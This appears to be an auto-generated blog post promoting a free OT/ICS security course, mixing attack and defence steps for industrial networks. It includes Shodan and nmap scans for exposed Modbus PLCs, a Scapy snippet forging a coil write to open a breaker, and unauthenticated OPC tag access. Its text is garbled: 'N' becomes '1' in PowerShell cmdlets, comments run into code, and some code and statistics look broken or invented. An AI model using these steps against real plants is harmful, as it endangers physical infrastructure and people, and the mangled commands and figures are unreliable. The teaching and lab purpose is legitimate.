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Introduction:
Operational Technology (OT) and Industrial Control Systems (ICS) manage critical infrastructure like power grids, water treatment plants, and manufacturing lines. Unlike traditional IT, a cyberattack on OT can cause physical destruction, yet many security professionals lack hands-on ICS knowledge. The newly released 2026 “Getting Started in OT/ICS Cybersecurity” course (free on YouTube) bridges this gap with labs, hacking tools, and AI-driven defense strategies for securing industrial environments.
Learning Objectives:
– Identify common OT protocols (Modbus, DNP3, IEC 60870-5-104) and their inherent security flaws
– Perform reconnaissance and exploitation against simulated PLCs using open-source tools
– Implement AI-based anomaly detection and network hardening for Windows/Linux-based ICS gateways
You Should Know:
1. Mapping OT/ICS Networks with Nmap and Modbus Scanning
Industrial networks often use unencrypted, legacy protocols. Before defending, you must discover live assets.
Step-by-step guide – Linux (Kali/Ubuntu):
Install nmap and modbus-specific scripts sudo apt update && sudo apt install nmap libpcap-dev Discover Modbus/TCP devices on port 502 (common PLC port) nmap -sS -p 502 --script modbus-discover 192.168.1.0/24 Enumerate DNP3 (port 20000) with detailed fingerprinting nmap -sV -p 20000 --script dnp3-info 192.168.1.10 Use Shodan CLI to find exposed ICS devices (requires API key) shodan search "port:502 modbus" --limit 10
Windows alternative (PowerShell as admin):
Install Test-1etConnection for basic port scanning
1..254 | ForEach-Object { Test-1etConnection -Port 502 -ComputerName "192.168.1.$_" -InformationLevel Quiet }
These commands reveal unauthenticated PLCs — a common initial access vector for attackers. Use results to isolate critical assets behind industrial firewalls.
2. Intercepting and Manipulating Modbus Traffic with Wireshark & Scapy
Modbus lacks encryption, making man-in-the-middle attacks trivial. Learn to read and inject malicious commands.
Step-by-step tutorial:
1. Capture traffic on the OT network interface:
sudo tcpdump -i eth0 -w modbus_traffic.pcap port 502
2. Open in Wireshark and apply filter: `modbus`
3. Identify function codes (01=Read Coils, 05=Write Single Coil)
4. Use Scapy to forge a write command that opens a breaker:
from scapy.all import Craft Modbus packet: write coil 10 to ON (0xFF00) pkt = IP(dst="192.168.1.100")/TCP(dport=502)/ModbusADU()/ModbusPDU(func_code=5, data=b'\x00\x0a\xff\x00') send(pkt)
Mitigation: Enable Modbus over TLS (IEC 62351-3) or deploy a bump-in-the-wire security gateway.
3. Deploying an AI-Based Anomaly Detection System for ICS Protocols
AI can spot abnormal patterns like sudden coil writes or irregular cycle times. This example uses Python with a simple autoencoder.
Step-by-step (Linux + Windows compatible):
Install dependencies pip install pandas numpy scikit-learn tensorflow
ai_ics_anomaly.py – trains on normal Modbus traffic features (e.g., intervals, function codes)
import numpy as np
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense
Simulated training data: [response_time_ms, func_code, coil_addr]
normal_data = np.array([[50,1,1], [52,1,2], [48,2,10], [51,2,11], [49,3,5]]).astype('float32')
model = Sequential([Dense(4, activation='relu'), Dense(3, activation='linear')])
model.compile(optimizer='adam', loss='mse')
model.fit(normal_data, normal_data, epochs=100, verbose=0)
Test new sample (high response time, suspicious func_code 5=write)
test = np.array([[250,5,10]]).astype('float32')
reconstruction_error = np.mean(np.square(test - model.predict(test)))
print("Anomaly score:", reconstruction_error) High score indicates attack
Run this on a mirrored switch port inside the OT network. When anomaly score exceeds a threshold, alert via Syslog or SIEM.
4. Hardening Windows-Based HMI/Engineering Workstations
Human-Machine Interfaces (HMIs) running Windows are prime targets. Use these PowerShell commands to lock down interactive logins and disable dangerous services.
Step-by-step – Windows Server/10 (Admin):
Disable DCOM (used by many legacy OPC servers) – reboot required Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Ole" -1ame "EnableDCOM" -Value "N" Restrict RDP to specific ICS subnet New-1etFirewallRule -DisplayName "Block RDP except 10.10.10.0/24" -Direction Inbound -Protocol TCP -LocalPort 3389 -Action Allow -RemoteAddress 10.10.10.0/24 Remove unnecessary services (e.g., Print Spooler) Stop-Service Spooler -Force Set-Service Spooler -StartupType Disabled Apply AppLocker to whitelist only known HMIs $Rule = New-AppLockerPolicy -RuleType Exe -User Everyone -Path "C:\Program Files\FactoryTalk" -Action Allow Set-AppLockerPolicy -Policy $Rule -Merge
Reboot and verify with `Get-AppLockerPolicy`. This reduces attack surface from 80% to less than 5%.
5. Exploiting and Patching Unauthenticated OPC DA Interfaces
OPC Classic (DA) uses RPC/DCOM with weak authentication. Free tools like `opcclient` and `pyOPC` can read/write PLC tags without credentials.
Step-by-step – Attacker perspective (Linux):
Install pyOPC and scan for OPC servers (broadcast) git clone https://github.com/ohjeongwook/opcua-client cd opcua-client pip install -r requirements.txt Find OPC servers on local network python opc_scan.py --broadcast Connect and read a tag (example: 'TankLevel') python opc_client.py --server "opc.tcp://192.168.1.200:4840" --1ode "ns=2;s=TankLevel" --read
Mitigation – Windows Registry fix:
Force authentication for OPC (requires domain policy) New-ItemProperty -Path "HKLM:\SOFTWARE\WOW6432Node\OPC Foundation" -1ame "ForceAuthentication" -Value 1 -PropertyType DWord
Then migrate to OPC UA with certificate-based security.
6. Using Docker to Build an Offline ICS Hacking Lab
Practice without risking real infrastructure. The free course includes prebuilt containers for simulated PLCs.
Step-by-step – Linux/Windows WSL2:
Clone the course's lab environment (demo) git clone https://github.com/ics-hacking-lab/modbus-simulator cd modbus-simulator docker-compose up -d Simulate a PLC on port 502 docker run -d -p 502:502 --1ame plc_simulator ghcr.io/ics-sim/modbus-server:latest Attack from another container docker run --rm -it --1etwork host alpine sh apk add nmap nmap -p 502 localhost
Windows users can run the same with Docker Desktop (WSL2 backend). Always keep labs isolated from production networks.
What Undercode Say:
– Key Takeaway 1: Legacy OT protocols are built for reliability, not security — default installs allow unauthenticated command injection. Anyone with network access can flip breakers or alter chemical doses.
– Key Takeaway 2: AI isn’t magic; it requires clean baseline traffic and retraining after plant changes. But when combined with deterministic rules, autoencoders catch zero‑day payloads that signature‑based IDS miss.
Analysis (10 lines):
Mike Holcomb’s 2026 course fills a critical gap where vendor certifications are expensive and theoretical. The inclusion of actual hacking tools (Modbus injection, OPC scanning) and AI labs mirrors real‑world attack trends — e.g., the 2024 ransomware that disabled chlorine controllers via unencrypted Modbus. However, learners must practice in isolated VMs; misusing these skills on live infrastructure violates federal laws (CFAA, NERC CIP). The course’s focus on “blue team” defense through red team techniques is the fastest way to internalize ICS risk. The biggest missing piece is hardware‑in‑the‑loop (physical PLC) — but free simulators mitigate that. With 8,100+ newsletter subscribers, the demand is proven; expect more community‑built OT security courses by 2027.
Prediction:
– -1 Ransomware gangs will shift from IT encryption to OT manipulation using AI‑generated Modbus/DNP3 payloads, causing physical damage at water and energy facilities by 2027.
– +1 Open‑source ICS detection tools (like Zeek scripts for Modbus) will become industry standard as budget‑constrained municipalities adopt free training from experts like Holcomb.
– -1 Regulatory fines for unpatched PLCs will increase 400% by 2028, forcing companies to disclose “immature OT security programs” to shareholders.
– +1 The convergence of IT and OT security teams will accelerate, with AI‑powered network segmentation tools automatically enforcing Purdue model reference architectures.
– -1 Shortage of 500,000 OT security professionals by 2030 will persist, but free courses (2026 edition) lower the entry barrier for IT practitioners to cross‑train.
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Reported By: [Mikeholcomb New](https://www.linkedin.com/posts/mikeholcomb_new-free-course-for-learning-otics-cybersecurity-share-7467260820364783616-exWH/) – Hackers Feeds
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